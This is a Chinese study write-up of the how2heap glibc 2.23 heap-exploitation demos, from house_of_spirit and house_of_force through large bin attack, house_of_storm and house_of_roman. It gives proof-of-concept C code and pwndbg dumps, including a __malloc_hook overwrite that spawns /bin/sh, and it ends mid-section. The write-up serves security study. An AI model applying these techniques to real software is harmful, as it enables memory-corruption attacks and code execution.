how2heap
源码地址:https://github.com/shellphish/how2heap/tree/master
参考文章:
https://zikh26.github.io/posts/19609dd.html
本篇去除了所有注释(太占地方啦
glibc_2.23
fastbin_dup_consolidate
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
void* p1 = calloc(1,0x40);
free(p1);
void* p3 = malloc(0x400);
assert(p1 == p3);
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
}
p1
被释放进入fastbin
之后创建大小属于large bin
的堆p3
,判断完p3
不属于fastbin
和small bin
之后进行malloc consolidate
将p1
整理到unsorted bin
,又被合并到top chunk
,在申请堆p3
时就从top chunk
取的堆,所以p3
和p1
地址相同,而此时chunk1
地址成为了chunk3
的地址,再次释放chunk1
释放的就是chunk3
,再申请与chunk3
大小相同的堆时申请到的就是chunk3
地址,因此p4 = p3
且两个指针都未置零,因为释放的是p1
house_of_spirit
#include <stdio.h>
#include <stdlib.h>
int main()
{
malloc(1);
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fake_chunks[1] = 0x40;
fake_chunks[9] = 0x1234;
a = &fake_chunks[2];
free(a);
}
在栈中取了一个地址布置fake_chunk
pwndbg> x/20gx 0x7fffffffe1b0
0x7fffffffe1b0: 0x0000000000000001 0x0000000000000040 #size
0x7fffffffe1c0: 0x00007ffff7ffe168 0x00000000000000f0
0x7fffffffe1d0: 0x00000000000000c2 0x000055555555542d
0x7fffffffe1e0: 0x00007fffffffe20e 0x0000000000000000
0x7fffffffe1f0: 0x00005555555553e0 0x0000000000001234 #next size
伪造成功即可释放fake_chunk
到bin
,其中free
的地址是user data
地址
poison_null_byte/off-by-null
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
a = (uint8_t*) malloc(0x100);
int real_a_size = malloc_usable_size(a);
b = (uint8_t*) malloc(0x200);
c = (uint8_t*) malloc(0x100);
barrier = malloc(0x100);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
*(size_t*)(b+0x1f0) = 0x200;
free(b);
a[real_a_size] = 0;
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
b1 = malloc(0x100);
b2 = malloc(0x80);
memset(b2,'B',0x80);
free(b1);
free(c);
d = malloc(0x300);
memset(d,'D',0x300);
assert(strstr(b2, "DDDDDDDDDDDD"));
}
条件:没有tcache
且有off-by-one
漏洞
首先创建了四个堆,其中barrier
是为了防止释放c
时与top chunk
合并
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000 #a
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555c110 #b
Size: 0x211
Allocated chunk | PREV_INUSE
Addr: 0x55555555c320 #c
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555c430 #barrier
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x55555555c540
Size: 0x20ac1
将堆b
的末尾伪造成next_chunk
的prev_size
,使得通过off-by-null
修改b
的size
的后两位为0
之后依然能够绕过size = prve_size(next_chunk)
0x55555555c310: 0x0000000000000200 0x0000000000000000
释放堆b
并通过off-by-null
将b
的大小改成0x200
,此时c
被识别到伪造的next_chunk
处,由于没有修改size
位所以size
为0
,但已经绕过了检查
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
Free chunk (unsortedbin)
Addr: 0x55555555c110
Size: 0x200
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x55555555c310
Size: 0x00
创建一个0x100
的堆b1
和一个0x80
的堆b2
,此时堆从unsorted bin
中分割,地址在刚刚释放的b
处
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555c110
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555c220
Size: 0x91
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c2b0
Size: 0x61
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x55555555c310
Size: 0x00
且真实的c
的prve_size
没有更新,而是更新了伪造的prve_size
0x55555555c310: 0x0000000000000060 0x0000000000000000
0x55555555c320: 0x0000000000000210 0x0000000000000110
此时释放b1
和c
,会将b1
和c
合并成一个覆盖b2
的堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c110
Size: 0x321
fd: 0x55555555c2b0
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x55555555c430
Size: 0x110
Top chunk | PREV_INUSE
Addr: 0x55555555c540
Size: 0x20ac1
此时将合并的堆申请出来就能实现overlap
,即申请的空间覆盖了b2
house_of_lore/small bin
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
intptr_t *victim = malloc(0x100);
intptr_t *victim_chunk = victim-2;
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
void *p5 = malloc(1000);
free((void*)victim);
void *p2 = malloc(1200);
victim[1] = (intptr_t)stack_buffer_1;
void *p3 = malloc(0x100);
char *p4 = malloc(0x100);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
assert((long)__builtin_return_address(0) == (long)jackpot);
}
创建一个small bin
之后在栈上伪造以该堆为起点的链,包含两个fake chunk
,伪造过程即修改三个堆的fd
和bk
区域的位置,这样就可以绕过small bin
对fd
以及需要申请的fake chunk
不能在small bin
链的尾部的检查,申请相同大小的堆即可将fake chunk
申请出来。
相关glibc
源码:
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
从small bin
申请堆的时候会判断最后一个堆的bk
指向的堆的fd
是否是该堆,因此在需要申请的位置后面还要再伪造一个堆
创建两个堆(第二个防止合并),并且在栈上伪造一个链表
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555b110
Size: 0x3f1
Top chunk | PREV_INUSE
Addr: 0x55555555b500
Size: 0x20b01
pwndbg> x/20gx 0x7fffffffdd60
0x7fffffffdd60: 0x0000000000000000 0x0000000000000000
0x7fffffffdd70: 0x000055555555b000 0x00007fffffffdd40
pwndbg> x/20gx 0x00007fffffffdd40
0x7fffffffdd40: 0x0000000000000000 0x0000000000000000
0x7fffffffdd50: 0x00007fffffffdd60
释放第一个堆并且再次创建一个堆使其进入small bin
pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111
fd: 0x7ffff7dd1c78
bk: 0x7ffff7dd1c78
Allocated chunk
Addr: 0x55555555b110
Size: 0x3f0
Allocated chunk | PREV_INUSE
Addr: 0x55555555b500
Size: 0x4c1
Top chunk | PREV_INUSE
Addr: 0x55555555b9c0
Size: 0x20641
改堆的bk
为栈上伪造的堆的地址,第二次申请即可得到栈上的地址
pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111
fd: 0x7ffff7dd1c78
bk: 0x7fffffffdd60
Allocated chunk | PREV_INUSE
Addr: 0x55555555b110
Size: 0x3f1
Allocated chunk | PREV_INUSE
Addr: 0x55555555b500
Size: 0x4c1
Top chunk | PREV_INUSE
Addr: 0x55555555b9c0
Size: 0x20641
overlapping_chunks
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
free(p2);
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
*(p2-1) = evil_chunk_size;
p4 = malloc(evil_region_size);
memset(p4, '4', evil_region_size);
memset(p3, '3', 80);
}
创建两个实际大小为0x101
的堆和一个0x81
的堆,释放第二个堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b100
Size: 0x101
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x55555555b200
Size: 0x80
Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81
将被释放的堆的大小改成第二、三个堆的大小之和, 此时第二个堆覆盖了第三个堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81
再将该堆申请出来即可实现overlap
,即申请的堆包含了初始的第三个堆且可向其写入数据
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101
Allocated chunk | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181
Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81
实现效果:存在两个堆,使得上一个堆覆盖到下一个堆
overlapping_chunks_2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main(){
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
free(p4);
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
free(p2);
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
memset(p6,'F',1500);
}
首先创建5个堆,释放第四个堆,将第二个堆的大小改成二三两个堆大小之和,此时第二个堆覆盖了第三个堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1
Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x7e1
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555bbd0
Size: 0x3f1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0
Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51
释放被合并的堆并申请回来,此时第二、三、四个堆会被合并成一个堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1
Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x7e1
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555bbd0
Size: 0x3f1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0
Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51
第三个堆始终没有被操作,而新创建的堆可以堆第三个堆进行读写,形成overlap
相关glibc
源码:
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
释放被合并的堆的时候会判断下一个堆即第四个堆是被释放的,因此向下合并到第四个堆
实现效果:存在三个堆,将三个堆合并成一个堆,且可以覆写中间一个堆、中间一个堆始终未被操作
应用:2.31之前的off-by-null
:创建三个堆A、B、C
通过off-by-bull
溢出B
到C
使得C
的低字节被覆盖为0
(注意:被覆盖的堆原始大小要在fx
,这样创建的堆实际大小就是10x
而不会因为修改了第二位导致错误,且A
的大小属于unsorted bin
)将C
的prve_size
改成A
和B
的大小之和,系统将判断A
和B
是一个堆并且已经被释放,此时释放A
和C
,从A
到C
的区域就会合并成一个堆并释放,而B
仍然存在。
house_of_force/top chunk
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
intptr_t *p1 = malloc(256);
int real_size = malloc_usable_size(p1);
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);
void* ctr_chunk = malloc(100);
strcpy(ctr_chunk, "YEAH!!!");
assert(ctr_chunk == bss_var);
}
条件:可以溢出到top_chunk、可以申请任意大小的堆块
首先创建了一个堆,并溢出到top chunk
将size
改成-1
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x55555555c110
Size: 0xffffffffffffffff
计算要覆写的地址和top chunk
的差并减去chunk header
的大小,申请该大小的堆,即把所需地址之前的空间都申请完,因此下一个申请的堆user data
处即为要覆写的区域
pwndbg> heap
Allocated chunk #申请完所求地址之前的所有空间
Addr: 0x555555558000
Size: 0x555555558008
unsorted_bin_attack
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var=0;
unsigned long *p=malloc(400);
malloc(500);
free(p);
p[1]=(unsigned long)(&stack_var-2);
malloc(400);
}
前提:控制unsorted bin的bk指针
目的:实现修改任意地址值为一个较大的数值,但是数值不受控制
- 通过修改循环的次数来使得程序可以执行多次循环
- 修改global_max_fast 来使得更大的 chunk 可以被视为 fast bin,执行 fast bin attack
原理:将一个 unsorted bin 取出的时候,会将 bck->fd
的位置写入本 Unsorted Bin 的位置
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
控制 bk 的值就能将 unsorted_chunks (av)
写到任意地址(要减两个机器字长作为prev_size
和size
,此时Target Value
处于伪造 chunk
的fd
处)
victim
的fd
在取chunk
时并没有发挥作用,所以修改为不合法的值也没有关系,但是unsorted bin
链表可能就此破坏,在插入 chunk
时,可能会出现问题
实现:将unsorted bin
中的chunk
通过溢出修改bk
为要修的地址 - 两个机器字节,再分配掉即可将地址内容改成很大的数值
house_of_einherjar(off-by-null)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* d;
a = (uint8_t*) malloc(0x38);
int real_a_size = malloc_usable_size(a);
size_t fake_chunk[6];
fake_chunk[0] = 0x100;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t) fake_chunk;
fake_chunk[3] = (size_t) fake_chunk;
fake_chunk[4] = (size_t) fake_chunk;
fake_chunk[5] = (size_t) fake_chunk;
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
a[real_a_size] = 0;
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fake_chunk[1] = fake_size;
free(b);
d = malloc(0x200);
}
首先创建了一个0x30
的堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x41
Top chunk | PREV_INUSE
Addr: 0x55555555b040
Size: 0x20fc1
在栈上伪造了一个fake chunk
pwndbg> x/20gx 0x7fffffffe1c0
0x7fffffffe1c0: 0x0000000000000100 0x0000000000000100 #prev_size, size
0x7fffffffe1d0: 0x00007fffffffe1c0 0x00007fffffffe1c0 #fd, bk
0x7fffffffe1e0: 0x00007fffffffe1c0 0x00007fffffffe1c0 #fd_nextsize, bk_nextsize
创建一个0xf8
大小的堆,并通过上一个堆的溢出来将这个堆prve_inuse
位改成0
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x41
Allocated chunk
Addr: 0x55555555b040
Size: 0x100
Top chunk | PREV_INUSE
Addr: 0x55555555b140
Size: 0x20ec1
再将prve_size
改成该堆与fake chunk
的chunk header
地址的差
pwndbg> x/20gx 0x55555555b040
0x55555555b040: 0xffffd5555555ce80 0x0000000000000100
释放该堆再申请回来,此时申请的堆就在fake_chunk
处
Allocated chunk
Addr: 0x7ffffffde010
Size: 0x00
在释放一个属于unsorted bin
的堆时会检测上一个堆是否被释放,若被释放则向上合并,且下一个堆是top chunk
时直接合并到top chunk
,所以top chunk
地址就在fake chunk
处,再次申请堆就可以从fake chunk
开始申请
条件:
- 可以篡改
prev_size
与prve_inuse
- 能够获取到要覆写的地址
- 能够在要覆写的地址伪造
fake chunk
,从而绕过unlink
的检测。
large_bin_attack
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
unsigned long *p1 = malloc(0x420);
malloc(0x20);
unsigned long *p2 = malloc(0x500);
malloc(0x20);
unsigned long *p3 = malloc(0x500);
malloc(0x20);
free(p1);
free(p2);
malloc(0x90);
free(p3);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
assert(stack_var1 != 0);
assert(stack_var2 != 0);
return 0;
}
- 向栈中写入数据,可用于修改
global_max_fast
创建一个large bin
之后再创建一个fast bin
防止释放的时候合并掉
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x431
Allocated chunk | PREV_INUSE
Addr: 0x405430
Size: 0x31
Top chunk | PREV_INUSE
Addr: 0x405460
Size: 0x20ba1
创建两个大小相同且与大于第一个大小的large bin
且每个large bin
下面都创建一个fast bin
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x431
Allocated chunk | PREV_INUSE
Addr: 0x405430
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x405460
Size: 0x511
Allocated chunk | PREV_INUSE
Addr: 0x405970
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x4059a0
Size: 0x511
Allocated chunk | PREV_INUSE
Addr: 0x405eb0
Size: 0x31
Top chunk | PREV_INUSE
Addr: 0x405ee0
Size: 0x20121
将第一、二两个堆释放进unsorted bin
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405460 —▸ 0x405000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405460 /* '`T@' */
smallbins
empty
largebins
empty
创建一个比第一个释放的堆小的堆使得第二个被释放的堆进入large bin
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4050a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x4050a0
smallbins
empty
largebins
0x500: 0x405460 —▸ 0x7ffff7dd1fa8 (main_arena+1160) ◂— 0x405460 /* '`T@' */
将第三个堆也释放到unsorted bin
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059a0 —▸ 0x4050a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x4059a0
smallbins
empty
largebins
0x500: 0x405460 —▸ 0x7ffff7dd1fa8 (main_arena+1160) ◂— 0x405460 /* '`T@' */
修改第二个被释放的堆的一些内容
pwndbg> x/20gx 0x405460
0x405460: 0x0000000000000000 0x00000000000003f1 #减小第二个堆的大小使得第三个堆进入large bin链表
0x405470: 0x0000000000000000 0x00007fffffffdd50 #将想要写入的栈地址写入bk、bk_nextsize,其中bk位置的地址要减0x10,bk_nextsize的地址要减0x20
0x405480: 0x0000000000000000 0x00007fffffffdd48
创建一个fast bin
使得第三个堆进入unsorted bin
,此时栈上的内容也会被修改为第三个堆的头指针
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405140 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405140 /* '@Q@' */
smallbins
empty
largebins
0x500 [corrupted]
FD: 0x405460 ◂— 0x0
BK: 0x405460 —▸ 0x4059a0 —▸ 0x7fffffffdd50 ◂— 0x4059a0
pwndbg> x/gx 0x7fffffffdd60
0x7fffffffdd60: 0x00000000004059a0
pwndbg> x/gx 0x7fffffffdd68
0x7fffffffdd68: 0x00000000004059a0
house_of_storm/unsorted bin attack + large bin attack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char filler[0x10];
char target[0x60];
void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
int get_shift_amount(char* pointer){
int shift_amount = 0;
long long ptr = (long long)pointer;
while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return shift_amount - 1;
}
int main(){
init();
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
unsorted_bin = malloc ( 0x4e8 );
malloc ( 0x18 );
int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %d\n", shift_amount);
size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10;
printf("In this case, the chunk size is 0x%lx\n", alloc_size);
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Allocation size has bit 4 of the size set or ");
puts("mmap and non-main arena bit check will fail");
puts("Please try again! :)");
puts("Exiting...");
return 1;
}
large_bin = malloc ( 0x4d8 );
malloc ( 0x18 );
free ( large_bin );
free ( unsorted_bin );
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);
fake_chunk = target - 0x10;
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk;
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ;
ptr = malloc(alloc_size);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
return 0;
}
条件:没有地址随机化
首先创建一个unsorted bin
和一个large bin
(large bin
小于unsorted bin
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x4f1
Allocated chunk | PREV_INUSE
Addr: 0x405780
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x4057a0
Size: 0x4e1
Allocated chunk | PREV_INUSE
Addr: 0x405c80
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x405ca0
Size: 0x20361
释放large bin
和unsroted bin
,再创建一个堆并释放掉使得large bin
能够真正进入large bin
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405290
Size: 0x4f1
fd: 0x7ffff7facbe0
bk: 0x7ffff7facbe0
Allocated chunk
Addr: 0x405780
Size: 0x20
Free chunk (largebins) | PREV_INUSE
Addr: 0x4057a0
Size: 0x4e1
fd: 0x7ffff7fad000
bk: 0x7ffff7fad000
fd_nextsize: 0x4057a0
bk_nextsize: 0x4057a0
Allocated chunk
Addr: 0x405c80
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x405ca0
Size: 0x20361
将unsorted bin
的bk
改成目标地址 - 0x10
将large bin
的bk_nextsize
改成目标地址 - 0x28 - shift amount
,bk
改成目标地址 - 0x8
其中,shift amount
计算方式:large bin
地址转换为长长整型,每次右移8
位知道小于等于0x20
,shift amount
即为右移次数减1
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405290
Size: 0x4f1
fd: 0x7ffff7facbe0
bk: 0x404070
Allocated chunk
Addr: 0x405780
Size: 0x20
Free chunk (largebins) | PREV_INUSE
Addr: 0x4057a0
Size: 0x4e1
fd: 0x7ffff7fad000
bk: 0x404078
fd_nextsize: 0x4057a0
bk_nextsize: 0x404056
Allocated chunk
Addr: 0x405c80
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x405ca0
Size: 0x20361
再申请出来就可以将目标地址改成一个随机的很大的数字了
pwndbg> x/20gx 0x404080
0x404080 <target>: 0x0047464544434241 0x0000000000000000
mmap_overlapping_chunks/mmap
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
int main(){
int* ptr1 = malloc(0x10);
long long* top_ptr = malloc(0x100000);
long long* mmap_chunk_2 = malloc(0x100000);
long long* mmap_chunk_3 = malloc(0x100000);
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
free(mmap_chunk_3);
long long* overlapping_chunk = malloc(0x300000);
int distance = mmap_chunk_2 - overlapping_chunk;
overlapping_chunk[distance] = 0x1122334455667788;
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}
对mmap
的overlap
,原理与overlapping_chunks
相同,只是堆的大小在mmap
创建的范围
首先创建了一个0x10
的堆和三个0x100000
的堆I(heap
里看不到
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x405020
Size: 0x411
Top chunk | PREV_INUSE
Addr: 0x405430
Size: 0x20bd1
The first mmap chunk goes directly above LibC: 0x7ffff7ef2010
The second mmap chunk goes below LibC: 0x7ffff790c010
The third mmap chunk goes below the second mmap chunk: 0x7ffff780b010
可以看到第三个堆地址在第二个之上,所以将第三个堆大小改成二、三两个堆大小之和
pwndbg> x/20gx 0x7ffff780b000
0x7ffff780b000: 0x0000000000000000 0x0000000000202002
0x7ffff780b010: 0x0000000000000000 0x0000000000000000
释放这个堆之后再申请出来(0x300000
)
pwndbg> x/20gx 0x7ffff770c000
0x7ffff770c000: 0x0000000000000000 0x0000000000301002
0x7ffff770c010: 0x0000000000000000 0x0000000000000000
则第二个堆可用且第三个堆中第二个堆的部分也可用
house_of_roman(无show函数)
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>
char* shell = "/bin/sh\x00";
void* init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
int main(){
init();
uint8_t* fastbin_victim = malloc(0x60);
malloc(0x80);
uint8_t* main_arena_use = malloc(0x80);
uint8_t* relative_offset_heap = malloc(0x60);
free(main_arena_use);
uint8_t* fake_libc_chunk = malloc(0x60);
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;
free(relative_offset_heap);
free(fastbin_victim);
fastbin_victim[0] = 0x00;
long long __malloc_hook_adjust = __malloc_hook - 0x23;
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1;
fake_libc_chunk[1] = byte2;
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30);
free(unsorted_bin_ptr);
__malloc_hook_adjust = __malloc_hook - 0x10;
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
unsorted_bin_ptr[8] = byte1;
unsorted_bin_ptr[9] = byte2;
malloc(0x80);
long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
malloc_hook_chunk[19] = system_addr & 0xff;
malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff;
puts("Pop Shell!");
malloc((long long)shell);
}
在没有
show
的情况下要将malloc_hook
改成ogg
需要通过unsorted bin
使得main arena
地址进入一个申请出来的堆的fd
位置,然后让fast bin
里的其他堆指向这个堆,并通过修改低位来改成malloc_hook
,再利用unsorted bin attack
改malloc_hook
为main arena
,最后改fast bin
中的堆指向的堆为ogg
即可将malloc_hook
改成ogg
,宗旨就是利用堆里的地址改低位为要修改的地址,需要注意2.23
对size
的检查
先创建4个堆,大小分别为0x60 0x80 0x80 0x60
,释放第三个堆进入unsorted bin
pwndbg> heap
